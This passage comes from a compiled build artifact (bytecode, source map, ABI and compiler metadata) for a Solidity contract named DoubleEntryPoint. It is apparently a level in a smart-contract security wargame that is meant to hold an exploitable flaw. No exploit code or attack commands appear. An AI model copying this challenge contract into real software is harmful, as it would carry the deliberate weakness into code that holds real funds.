2bf3432056d019fa2a6372c4f9af5d411bdc0f55ec08ce180024a0b64736f6c63430008180033","sourceMap":"2552:1365:71:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2156:98:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4433:197;;;;;;:::i;:::-;;:::i;:::-;;;1211:14:155;;1204:22;1186:41;;1174:2;1159:18;4433:197:30;1046:187:155;3244:106:30;3331:12;;3244:106;;;1384:25:155;;;1372:2;1357:18;3244:106:30;1238:177:155;5192:286:30;;;;;;:::i;:::-;;:::i;2708:28:71:-;;;;;-1:-1:-1;;;;;2708:28:71;;;;;;-1:-1:-1;;;;;2045:55:155;;;2027:74;;2015:2;2000:18;2708:28:71;1881:226:155;3093:91:30;;;3175:2;2254:36:155;;2242:2;2227:18;3093:91:30;2112:184:155;5873:234:30;;;;;;:::i;:::-;;:::i;2681:21:71:-;;;;;-1:-1:-1;;;;;2681:21:71;;;3408:125:30;;;;;;:::i;:::-;-1:-1:-1;;;;;3508:18:30;3482:7;3508:18;;;;;;;;;;;;3408:125;1831:101:23;;;:::i;:::-;;1201:85;1273:6;;-1:-1:-1;;;;;1273:6:23;1201:85;;2367:102:30;;;:::i;3668:247:71:-;;;;;;:::i;:::-;;:::i;6594:427:30:-;;;;;;:::i;:::-;;:::i;3729:189::-;;;;;;:::i;:::-;;:::i;2649:26:71:-;;;;;-1:-1:-1;;;;;2649:26:71;;;2742:18;;;;;-1:-1:-1;;;;;2742:18:71;;;3976:149:30;;;;;;:::i;:::-;-1:-1:-1;;;;;4091:18:30;;;4065:7;4091:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3976:149;2081:198:23;;;;;;:::i;:::-;;:::i;2156:98:30:-;2210:13;2242:5;2235:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2156:98;:::o;4433:197::-;4516:4;719:10:34;4570:32:30;719:10:34;4586:7:30;4595:6;4570:8;:32::i;:::-;4619:4;4612:11;;;4433:197;;;;;:::o;5192:286::-;5319:4;719:10:34;5375:38:30;5391:4;719:10:34;5406:6:30;5375:15;:38::i;:::-;5423:27;5433:4;5439:2;5443:6;5423:9;:27::i;:::-;-1:-1:-1;5467:4:30;;5192:286;-1:-1:-1;;;;5192:286:30:o;5873:234::-;719:10:34;5961:4:30;4091:18;;;:11;:18;;;;;;;;-1:-1:-1;;;;;4091:27:30;;;;;;;;;;5961:4;;719:10:34;6015:64:30;;719:10:34;;4091:27:30;;6040:38;;6068:10;;6040:38;:::i;:::-;6015:8;:64::i;1831:101:23:-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;2367:102:30:-;2423:13;2455:7;2448:14;;;;;:::i;3668:247:71:-;3121:13;;3835:4;;-1:-1:-1;;;;;3121:13:71;3107:10;:27;3099:59;;;;-1:-1:-1;;;3099:59:71;;4581:2:155;3099:59:71;;;4563:21:155;4620:2;4600:18;;;4593:30;4659:21;4639:18;;;4632:49;4698:18;;3099:59:71;;;;;;;;;3246:5:::1;::::0;3271:6:::1;::::0;3246:32:::1;::::0;;;;-1:-1:-1;;;;;3271:6:71;;::::1;3246:32;::::0;::::1;2027:74:155::0;3215:20:71::1;::::0;3246:5;;;::::1;::::0;:24:::1;::::0;2000:18:155;;3246:32:71::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3356:5;::::0;:35:::1;::::0;-1:-1:-1;;;3356:35:71;;-1:-1:-1;;;;;2045:55:155;;;3356:35:71::1;::::0;::::1;2027:74:155::0;3215:64:71;;-1:-1:-1;3332:21:71::1;::::0;3356:5;;::::1;::::0;:21:::1;::::0;2000:18:155;;3356:35:71::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3426:5;::::0;3439:6:::1;::::0;3426:30:::1;::::0;;;;3332:59;;-1:-1:-1;;;;;;3426:5:71;;::::1;::::0;:12:::1;::::0;:30:::1;::::0;3439:6:::1;::::0;3426:5:::1;::::0;3447:8:::1;::::0;3426:30:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;3855:32:::2;3865:10;3877:2;3881:5;3855:9;:32::i;:::-;3557:5:::1;::::0;:35:::1;::::0;-1:-1:-1;;;3557:35:71;;-1:-1:-1;;;;;2045:55:155;;;3557:35:71::1;::::0;::::1;2027:74:155::0;3904:4:71::2;::::0;-1:-1:-1;3595:13:71;;3557:5:::1;::::0;:21:::1;::::0;2000:18:155;;3557:35:71::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:51;3553:102;;;3610:45;::::0;-1:-1:-1;;;3610:45:71;;5910:2:155;3610:45:71::1;::::0;::::1;5892:21:155::0;5949:2;5929:18;;;5922:30;5988:34;5968:18;;;5961:62;6059:5;6039:18;;;6032:33;6082:19;;3610:45:71::1;5708:399:155::0;3553:102:71::1;3205:457;;3668:247:::0;;;;;:::o;6594:427:30:-;719:10:34;6687:4:30;4091:18;;;:11;:18;;;;;;;;-1:-1:-1;;;;;4091:27:30;;;;;;;;;;6687:4;;719:10:34;6831:15:30;6811:16;:35;;6803:85;;;;-1:-1:-1;;;6803:85:30;;6314:2:155;6803:85:30;;;6296:21:155;6353:2;6333:18;;;6326:30;6392:34;6372:18;;;6365:62;6463:7;6443:18;;;6436:35;6488:19;;6803:85:30;6112:401:155;6803:85:30;6922:60;6931:5;6938:7;6966:15;6947:16;:34;6922:8;:60::i;3729:189::-;3808:4;719:10:34;3862:28:30;719:10:34;3879:2:30;3883:6;3862:9;:28::i;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;6720:2:155;2161:73:23::1;::::0;::::1;6702:21:155::0;6759:2;6739:18;;;6732:30;6798:34;6778:18;;;6771:62;6869:8;6849:18;;;6842:36;6895:19;;2161:73:23::1;6518:402:155::0;2161:73:23::1;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;10110:370:30:-;-1:-1:-1;;;;;10241:19:30;;10233:68;;;;-1:-1:-1;;;10233:68:30;;7127:2:155;10233:68:30;;;7109:21:155;7166:2;7146:18;;;7139:30;7205:34;7185:18;;;7178:62;7276:6;7256:18;;;7249:34;7300:19;;10233:68:30;6925:400:155;10233:68:30;-1:-1:-1;;;;;10319:21:30;;10311:68;;;;-1:-1:-1;;;10311:68:30;;7532:2:155;10311:68:30;;;7514:21:155;7571:2;7551:18;;;7544:30;7610:34;7590:18;;;7583:62;7681:4;7661:18;;;7654:32;7703:19;;10311:68:30;7330:398:155;10311:68:30;-1:-1:-1;;;;;10390:18:30;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10441:32;;1384:25:155;;;10441:32:30;;1357:18:155;10441:32:30;;;;;;;10110:370;;;:::o;10761:441::-;-1:-1:-1;;;;;4091:18:30;;;10891:24;4091:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;10957:37:30;;10953:243;;11038:6;11018:16;:26;;11010:68;;;;-1:-1:-1;;;11010:68:30;;7935:2:155;11010:68:30;;;7917:21:155;7974:2;7954:18;;;7947:30;8013:31;7993:18;;;7986:59;8062:18;;11010:68:30;7733:353:155;11010:68:30;11120:51;11129:5;11136:7;11164:6;11145:16;:25;11120:8;:51::i;:::-;10881:321;10761:441;;;:::o;7475:651::-;-1:-1:-1;;;;;7601:18:30;;7593:68;;;;-1:-1:-1;;;7593:68:30;;8293:2:155;7593:68:30;;;8275:21:155;8332:2;8312:18;;;8305:30;8371:34;8351:18;;;8344:62;8442:7;8422:18;;;8415:35;8467:19;;7593:68:30;8091:401:155;7593:68:30;-1:-1:-1;;;;;7679:16:30;;7671:64;;;;-1:-1:-1;;;7671:64:30;;8699:2:155;7671:64:30;;;8681:21:155;8738:2;8718:18;;;8711:30;8777:34;8757:18;;;8750:62;8848:5;8828:18;;;8821:33;8871:19;;7671:64:30;8497:399:155;7671:64:30;-1:-1:-1;;;;;7817:15:30;;7795:19;7817:15;;;;;;;;;;;7850:21;;;;7842:72;;;;-1:-1:-1;;;7842:72:30;;9103:2:155;7842:72:30;;;9085:21:155;9142:2;9122:18;;;9115:30;9181:34;9161:18;;;9154:62;9252:8;9232:18;;;9225:36;9278:19;;7842:72:30;8901:402:155;7842:72:30;-1:-1:-1;;;;;7948:15:30;;;:9;:15;;;;;;;;;;;7966:20;;;7948:38;;8006:13;;;;;;;;:23;;7980:6;;7948:9;8006:23;;7980:6;;8006:23;:::i;:::-;;;;;;;;8060:2;-1:-1:-1;;;;;8045:26:30;8054:4;-1:-1:-1;;;;;8045:26:30;;8064:6;8045:26;;;;1384:25:155;;1372:2;1357:18;;1238:177;8045:26:30;;;;;;;;8082:37;11786:121;1359:130:23;1273:6;;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;9510:2:155;1414:68:23;;;9492:21:155;;;9529:18;;;9522:30;9588:34;9568:18;;;9561:62;9640:18;;1414:68:23;9308:356:155;2433:187:23;2525:6;;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;;2573:40;;2525:6;;;2541:17;2525:6;;2573:40;;2506:16;;2573:40;2496:124;2433:187;:::o;14:548:155:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:154::-;-1:-1:-1;;;;;646:5:155;642:54;635:5;632:65;622:93;;711:1;708;701:12;726:315;794:6;802;855:2;843:9;834:7;830:23;826:32;823:52;;;871:1;868;861:12;823:52;910:9;897:23;929:31;954:5;929:31;:::i;:::-;979:5;1031:2;1016:18;;;;1003:32;;-1:-1:-1;;;726:315:155:o;1420:456::-;1497:6;1505;1513;1566:2;1554:9;1545:7;1541:23;1537:32;1534:52;;;1582:1;1579;1572:12;1534:52;1621:9;1608:23;1640:31;1665:5;1640:31;:::i;:::-;1690:5;-1:-1:-1;1747:2:155;1732:18;;1719:32;1760:33;1719:32;1760:33;:::i;:::-;1420:456;;1812:7;;-1:-1:-1;;;1866:2:155;1851:18;;;;1838:32;;1420:456::o;2301:247::-;2360:6;2413:2;2401:9;2392:7;2388:23;2384:32;2381:52;;;2429:1;2426;2419:12;2381:52;2468:9;2455:23;2487:31;2512:5;2487:31;:::i;:::-;2537:5;2301:247;-1:-1:-1;;;2301:247:155:o;2553:456::-;2630:6;2638;2646;2699:2;2687:9;2678:7;2674:23;2670:32;2667:52;;;2715:1;2712;2705:12;2667:52;2754:9;2741:23;2773:31;2798:5;2773:31;:::i;:::-;2823:5;-1:-1:-1;2875:2:155;2860:18;;2847:32;;-1:-1:-1;2931:2:155;2916:18;;2903:32;2944:33;2903:32;2944:33;:::i;:::-;2996:7;2986:17;;;2553:456;;;;;:::o;3260:388::-;3328:6;3336;3389:2;3377:9;3368:7;3364:23;3360:32;3357:52;;;3405:1;3402;3395:12;3357:52;3444:9;3431:23;3463:31;3488:5;3463:31;:::i;:::-;3513:5;-1:-1:-1;3570:2:155;3555:18;;3542:32;3583:33;3542:32;3583:33;:::i;:::-;3635:7;3625:17;;;3260:388;;;;;:::o;3653:437::-;3732:1;3728:12;;;;3775;;;3796:61;;3850:4;3842:6;3838:17;3828:27;;3796:61;3903:2;3895:6;3892:14;3872:18;3869:38;3866:218;;-1:-1:-1;;;3937:1:155;3930:88;4041:4;4038:1;4031:15;4069:4;4066:1;4059:15;3866:218;;3653:437;;;:::o;4095:279::-;4160:9;;;4181:10;;;4178:190;;;-1:-1:-1;;;4221:1:155;4214:88;4325:4;4322:1;4315:15;4353:4;4350:1;4343:15;4727:274;4820:6;4873:2;4861:9;4852:7;4848:23;4844:32;4841:52;;;4889:1;4886;4879:12;4841:52;4921:9;4915:16;4940:31;4965:5;4940:31;:::i;5006:184::-;5076:6;5129:2;5117:9;5108:7;5104:23;5100:32;5097:52;;;5145:1;5142;5135:12;5097:52;-1:-1:-1;5168:16:155;;5006:184;-1:-1:-1;5006:184:155:o;5195:508::-;-1:-1:-1;;;;;5384:6:155;5380:55;5369:9;5362:74;5472:2;5467;5456:9;5452:18;5445:30;5511:6;5506:2;5495:9;5491:18;5484:34;5568:6;5560;5555:2;5544:9;5540:18;5527:48;5624:1;5595:22;;;5619:2;5591:31;;;5584:42;;;;5687:2;5666:15;;;-1:-1:-1;;5662:29:155;5647:45;5643:54;;5195:508;-1:-1:-1;;5195:508:155:o","linkReferences":{}},"methodIdentifiers":{"allowance(address,address)":"dd62ed3e","approve(address,uint256)":"095ea7b3","balanceOf(address)":"70a08231","cryptoVault()":"d444d8a0","decimals()":"313ce567","decreaseAllowance(address,uint256)":"a457c2d7","delegateTransfer(address,uint256,address)":"9cd1a121","delegatedFrom()":"26fe9951","forta()":"d8670e1f","increaseAllowance(address,uint256)":"39509351","name()":"06fdde03","owner()":"8da5cb5b","player()":"48db5f89","renounceOwnership()":"715018a6","symbol()":"95d89b41","totalSupply()":"18160ddd","transfer(address,uint256)":"a9059cbb","transferFrom(address,address,uint256)":"23b872dd","transferOwnership(address)":"f2fde38b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"legacyToken\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"vaultAddress\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"fortaAddress\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"playerAddress\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"cryptoVault\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"decimals\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"subtractedValue\",\"type\":\"uint256\"}],\"name\":\"decreaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"origSender\",\"type\":\"address\"}],\"name\":\"delegateTransfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"delegatedFrom\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"forta\",\"outputs\":[{\"internalType\":\"contract Forta\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"addedValue\",\"type\":\"uint256\"}],\"name\":\"increaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"player\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"events\":{\"Approval(address,address,uint256)\":{\"details\":\"Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}. `value` is the new allowance.\"},\"Transfer(address,address,uint256)\":{\"details\":\"Emitted when `value` tokens are moved from one account (`from`) to another (`to`). Note that `value` may be zero.\"}},\"kind\":\"dev\",\"methods\":{\"allowance(address,address)\":{\"details\":\"See {IERC20-allowance}.\"},\"approve(address,uint256)\":{\"details\":\"See {IERC20-approve}. NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on `transferFrom`. This is semantically equivalent to an infinite approval. Requirements: - `spender` cannot be the zero address.\"},\"balanceOf(address)\":{\"details\":\"See {IERC20-balanceOf}.\"},\"decimals()\":{\"details\":\"Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5.05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}.\"},\"decreaseAllowance(address,uint256)\":{\"details\":\"Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`.\"},\"increaseAllowance(address,uint256)\":{\"details\":\"Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address.\"},\"name()\":{\"details\":\"Returns the name of the token.\"},\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"symbol()\":{\"details\":\"Returns the symbol of the token, usually a shorter version of the name.\"},\"totalSupply()\":{\"details\":\"See {IERC20-totalSupply}.\"},\"transfer(address,uint256)\":{\"details\":\"See {IERC20-transfer}. Requirements: - `to` cannot be the zero address. - the caller must have a balance of at least `amount`.\"},\"transferFrom(address,address,uint256)\":{\"details\":\"See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. NOTE: Does not update the allowance if the current allowance is the maximum `uint256`. Requirements: - `from` and `to` cannot be the zero address. - `from` must have a balance of at least `amount`. - the caller must have allowance for ``from``'s tokens of at least `amount`.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/DoubleEntryPoint.sol\":\"DoubleEntryPoint\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/DoubleEntryPoint.sol\":{\"keccak256\":\"0x933c270332ea5acadf78d2c2511a7eab75ec06d3f5754de47a0bb8db4f0c0e31\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://393808bd2e10e7b481bf406037591e53f1ca84fd447569ae815f342d707340e6\",\"dweb:/ipfs/QmW9hVkSegCGiNwUmDw7kC1XVth8YWheZRJLoFdXvrpcih\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"legacyToken","type":"address"},{"internalType":"address","name":"vaultAddress","type":"address"},{"internalType":"address","name":"fortaAddress","type":"address"},{"internalType":"address","name":"playerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address","indexed":true},{"internalType":"address","name":"spender","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Approval","anonymous":false},{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"from","type":"address","indexed":true},{"internalType":"address","name":"to","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Transfer","anonymous":false},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"stateMutability":"view","type":"function","name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"stateMutability":"view","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"cryptoVault","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"address","name":"origSender","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"delegateTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"delegatedFrom","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"forta","outputs":[{"internalType":"contract 